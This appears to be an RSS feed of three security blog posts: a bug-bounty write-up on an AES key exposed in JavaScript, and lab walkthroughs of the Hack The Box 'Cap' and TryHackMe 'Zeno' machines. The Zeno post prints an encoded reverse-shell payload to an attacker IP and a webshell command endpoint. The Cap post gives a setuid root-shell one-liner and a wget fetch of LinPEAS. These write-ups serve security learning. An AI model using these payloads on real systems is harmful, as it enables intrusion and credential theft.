<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Rahulsingh on Medium]]></title>
        <description><![CDATA[Stories by Rahulsingh on Medium]]></description>
        <link>https://medium.com/@rahulsingh5?source=rss-18734e0239c7------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*dmbNkD5D-u45r44go_cf0g.png</url>
            <title>Stories by Rahulsingh on Medium</title>
            <link>https://medium.com/@rahulsingh5?source=rss-18734e0239c7------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 22 Nov 2026 10:26:40 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@rahulsingh5/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Finding a P3 Bug: AES Key Exposed in JavaScript File]]></title>
            <link>https://medium.com/@rahulsingh5/finding-a-p3-bug-aes-key-exposed-in-javascript-file-69e56f7d94fc?source=rss-18734e0239c7------2</link>
            <guid isPermaLink="false">https://medium.com/p/69e56f7d94fc</guid>
            <dc:creator><![CDATA[Rahulsingh]]></dc:creator>
            <pubDate>Mon, 18 Aug 2025 05:51:36 GMT</pubDate>
            <atom:updated>2025-08-18T05:51:36.703Z</atom:updated>
            <content:encoded><![CDATA[<h3>Introduction</h3><p>During a recent security assessment on <em>exampl.com</em>, I discovered a <strong>P3 vulnerability</strong> involving the exposure of an <strong>AES encryption key</strong> within a publicly accessible JavaScript file. While the impact was not critical (P1/P2), such issues still hold security significance because encryption keys are sensitive assets that should never be hardcoded or exposed to end users.</p><p>This blog explains how I identified the issue, my approach to analyzing JavaScript files, and why consistent recon is essential for uncovering hidden vulnerabilities.</p><h3>Reconnaissance and Initial Approach</h3><p>Before diving into the application, I followed a structured reconnaissance process. Recon helps identify hidden endpoints, sensitive files, and backend details that may not be directly visible to users.</p><p>Here are some practical steps with commands:</p><h3>1. Collecting Endpoints from Historical Data</h3><pre># Using gau to fetch URLs from archives<br>gau exampl.com &gt; urls.txt  <br><br># Using waybackurls<br>echo &quot;exampl.com&quot; | waybackurls &gt;&gt; urls.txt</pre><h3>Crawling the Application</h3><pre># Using hakrawler for crawling<br>echo &quot;https://exampl.com&quot; | hakrawler -depth 3 -plain &gt;&gt; urls.txt</pre><h3>Directory and File Brute-forcing</h3><pre># Using ffuf to find hidden paths<br>ffuf -u https://exampl.com/FUZZ -w /path/to/wordlist.txt -mc 200</pre><h3>JavaScript File Analysis — Reading Like a Pro</h3><p>JavaScript files are treasure troves for hidden data. I always make sure to extract and review them carefully.</p><h3>1. Download All JavaScript Files</h3><pre># Extract JS links from the site<br>grep -Eo &quot;https?://[^\&quot;&#39;]+\.js&quot; urls.txt | sort -u &gt; jsfiles.txt  <br><br># Download them locally<br>wget -i jsfiles.txt -P js_downloads/</pre><h3>2. Searching for Sensitive Information</h3><pre># Look for common patterns like API keys, tokens, secrets<br>grep -iE &quot;key|secret|token|auth|AES&quot; js_downloads/*.js</pre><h3>3. Extracting Hidden Endpoints from JS</h3><pre># Using LinkFinder to extract hidden endpoints<br>python3 linkfinder.py -i js_downloads/app.js -o cli</pre><p>This revealed multiple hidden API endpoints and, most importantly, an AES key.</p><h3>Discovery of the AES Key</h3><p>Inside app.js, I discovered:</p><pre>const AES_KEY = &quot;example-hardcoded-key-123456&quot;;</pre><p>This was a <strong>hardcoded AES key</strong> embedded directly in client-side code. Since anyone can access this file, the encryption key was fully exposed.</p><h3>Security Impact</h3><p>Exposed encryption keys pose the following risks:<strong>Data Confidentiality</strong></p><p><strong>Loss</strong> — Encrypted data could be decrypted.</p><p><strong>Payload Tampering</strong> — Attackers may craft valid encrypted payloads.</p><p><strong>Attack Chain Contribution</strong> — While P3 in isolation, combined with other bugs it could escalate.</p><h3>Recon Checklist for JavaScript Files</h3><p>Here’s a simple <strong>pro-style checklist</strong> I use when analyzing JS files:</p><p>✅ Always download and store JS files locally.</p><p>✅ Search for key, token, secret, auth, url, endpoint.</p><p>✅ Use regex or tools to extract hidden endpoints.</p><p>✅ Map API calls and cross-check with live endpoints.</p><p>✅ Report any sensitive exposure, even if impact is low individually.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=69e56f7d94fc" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CAP — Hack The Box write-up| Linux Capabilities Exploitation]]></title>
            <link>https://medium.com/@rahulsingh5/cap-hack-the-box-write-up-linux-capabilities-exploitation-e05c79217d21?source=rss-18734e0239c7------2</link>
            <guid isPermaLink="false">https://medium.com/p/e05c79217d21</guid>
            <category><![CDATA[cap-writeup]]></category>
            <category><![CDATA[hackthebox]]></category>
            <dc:creator><![CDATA[Rahulsingh]]></dc:creator>
            <pubDate>Tue, 13 May 2025 10:18:56 GMT</pubDate>
            <atom:updated>2025-05-13T10:18:56.862Z</atom:updated>
            <content:encoded><![CDATA[<h3>CAP — Hack The Box write-up| Linux Capabilities Exploitation</h3><h3>🌐 Introduction</h3><p>In this walkthrough, we’ll explore the <strong>CAP</strong> machine on <strong>Hack The Box</strong> — a Linux-based box that challenges us to exploit <strong>network packet captures</strong> and <strong>cap_setuid Linux capabilities</strong> for privilege escalation.</p><p>This is a beginner-friendly box, but it demonstrates powerful techniques used in real-world exploitation.</p><h3>🔍 Reconnaissance</h3><p>We start by scanning the target using nmap to identify open services:</p><pre>nmap -sC -sV -A 10.10.10.245 -Pn</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/978/1*n2XoWcx_IMMvmJeu-C2jRw.png" /></figure><h3>🚪 Open Ports:</h3><ul><li><strong>21</strong> — FTP (vsftpd 3.0.3)</li><li><strong>22</strong> — SSH (OpenSSH 8.2p1)</li><li><strong>80</strong> — HTTP</li></ul><p>FTP doesn’t allow anonymous access, so we shift focus to the web server running on port 80.</p><h3>🌐 Web Enumeration</h3><p>Navigating to the IP in a browser reveals a <strong>network monitoring dashboard</strong> with multiple options:</p><ul><li>Dashboard</li><li><strong>Security Snapshot</strong> (shows a downloadable PCAP)</li><li>IP Config</li><li>Network Status</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2vPYcAhKir2h8ZQvDiBueg.jpeg" /></figure><h3>📥 Capturing the PCAP</h3><p>Clicking on <strong>Security Snapshot</strong> lets us download a network capture file:</p><pre>http://10.129.231.234/data/0</pre><p>We download this .pcap file and analyze it using <strong>Wireshark</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*q5HcVFf5PTVfCAGXj4HJoA.jpeg" /></figure><h3>🕵️ PCAP Analysis: Discovering Credentials</h3><p>In Wireshark, apply this filter to view FTP credentials:</p><pre>ftp.request.command == &quot;PASS&quot;</pre><h3>🔐 Gaining Access via SSH</h3><p>Using the extracted credentials, we try logging in via SSH:</p><pre>ssh nathan@10.10.10.245</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_pnNxe2A4EzUzNpvshBJWA.jpeg" /></figure><h3>📈 Privilege Escalation: Linux Capabilities</h3><p>We now escalate privileges using <strong>LinPEAS</strong> to enumerate the system:</p><h3>Step 1: Transfer LinPEAS</h3><p>On our machine:</p><pre>python3 -m http.server 80</pre><p>On the target machine:</p><pre>cd /tmp<br>wget http://&lt;your-ip&gt;/linpeas.sh<br>chmod +x linpeas.sh<br>./linpeas.sh</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pMH32jOrlkuqWJEVzJQ_vA.jpeg" /><figcaption>🔥 Exploiting cap_setuid</figcaption></figure><p>LinPEAS identifies an interesting capability:</p><pre>/usr/bin/python3.8 = cap_setuid+ep</pre><p>This allows the binary to change its user ID — even to root. We exploit it with the following Python script:</p><pre>python3.8 -c &#39;import os; os.setuid(0); os.system(&quot;/bin/bash&quot;)&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NbNMAtBSYkNcMvLwn77u5A.png" /></figure><p>Now read the final flag:</p><pre>cd /root<br>cat root.txt</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e05c79217d21" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Zeno TryHackMe Writeup]]></title>
            <link>https://medium.com/@rahulsingh5/zeno-tryhackme-writeup-24353e4673bb?source=rss-18734e0239c7------2</link>
            <guid isPermaLink="false">https://medium.com/p/24353e4673bb</guid>
            <dc:creator><![CDATA[Rahulsingh]]></dc:creator>
            <pubDate>Tue, 24 Dec 2024 11:37:22 GMT</pubDate>
            <atom:updated>2024-12-24T11:56:55.535Z</atom:updated>
            <content:encoded><![CDATA[<h3>Scanning</h3><p>We run nmap on all ports with scripts and software versions.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*c3v2-SztGYlli9i9EiSLEQ.jpeg" /></figure><h3>Enumeration</h3><p>We access the high web port and find an inactive resource</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/725/1*O0v4HNCuOqWR-1DWEeVhwg.png" /></figure><p>Launch “<strong>dirsearch</strong>” and list the directory “<em>rms</em>”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hcBxdSju42URv5OcY9i8pQ.jpeg" /></figure><h3>Exploiting</h3><pre>searchsploit Restaurant Management System</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UCUYEe-YL-aoxAD6fT-Jsg.jpeg" /></figure><p>There is an RCE exploit available. After running it, we get a webshell uploaded at <a href="http://ip:12340/rms/images/reverse-shell.php">http://ip:12340/rms/images/reverse-shell.php</a>. Use the ?cmd= command for command execution.</p><p>Use this payload in URL encoded form: <br>echo L2Jpbi9zaCAtaSA+JiAvZGV2L3RjcC8xMC4xNC4xNC43OC84MCAwPiYxCg==|base64 -d|bash</p><p>This will run the following reverse shell:</p><pre>/bin/sh -i &gt;&amp; /dev/tcp/10.14.14.78/80 0&gt;&amp;1</pre><p>I used Burp Decoder to url encode the payload. The final payload is:</p><pre>%65%63%68%6f%20%4c%32%4a%70%62%69%39%7a%61%43%41%74%61%53%41%2b%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%78%4d%43%34%78%4e%43%34%78%4e%43%34%33%4f%43%38%34%4d%43%41%77%50%69%59%78%43%67%3d%3d%7c%62%61%73%65%36%34%20%2d%64%7c%62%61%73%68</pre><p>Run a listener on port 80 on your attacker machine and execute the payload.</p><h3>Got a shell. Now what?</h3><p>After getting a shell, I found a config file /var/www/html/rms/connection/config.php that contains passwords.</p><pre>bash-4.2$ pwd<br>/var/www/html/rms/connection<br>bash-4.2$ cat config.php <br>&lt;?php<br>    define(&#39;DB_HOST&#39;, &#39;localhost&#39;);<br>    define(&#39;DB_USER&#39;, &#39;root&#39;);<br>    define(&#39;DB_PASSWORD&#39;, &#39;veerUffIrangUfcubyig&#39;);<br>    define(&#39;DB_DATABASE&#39;, &#39;dbrms&#39;);<br>    define(&#39;APP_NAME&#39;, &#39;Pathfinder Hotel&#39;);<br>    error_reporting(1);<br>?&gt;</pre><h3>Mysql database enumeration</h3><p>In the database, there is a table named members. It contains some password hashes and answer hashes. I cracked a few of them except for that of user edward . Funnily enough, there’s a system user named edward as well.</p><p>Here are the cracked hashes and passwords:</p><pre>Username|Email|Password|Security Answer<br>Stephen|omolewastephen@gmail.com|1234|deborah<br>john|jsmith@sample.com|jsmith123|middlename<br>edward|edward@zeno.com|COULD NOT CRACK|COULD NOT CRACK</pre><p>I tried these passwords on edward’s account but couldn’t login.</p><h3>Linpeas</h3><p>Now let’s run Linpeas</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9c28nXx9uErv7yU5Brzr_w.jpeg" /></figure><pre>username=zeno,password=FrobjoodAdkoonceanJa</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4zGAPTkmwwHKeE9dCGBfbw.jpeg" /></figure><p>And with the help of <a href="https://crackstation.net/">CrackStation</a>. We found 2 out of 3 passwords:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nLdoTzqu3ZSkUz92VrhU2g.jpeg" /></figure><h3>User Flag</h3><p>Inside the home directory of the edward user. I notice a file called user.txt but I didn&#39;t have the rights to access it:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/716/1*_D-DmrA6vlNp1j7Z5B3KGQ.jpeg" /></figure><p>After I’ve tried to use that password for <strong>edward</strong>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*64aw67gyARHSmYIkRjfsiw.jpeg" /></figure><h3>Root Flag</h3><p>Checking for sudo -l permissions on edward, we see that he can reboot the system.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lcEsYoMYVcMVyVBcCjvNnQ.jpeg" /></figure><p>Reboot the machine with sudo /usr/sbin/reboot and now when the system is fully rebooted, login as edward through ssh. We now have a SUID /bin/bash. Use it to escalate privileges to <strong>root</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nCdAfpwXTAiOJlUQ2pIEzQ.jpeg" /></figure><p>Zeno is now rooted✨</p><p>Hope it was easy to follow through. Until next time. <br>Take care :)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=24353e4673bb" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>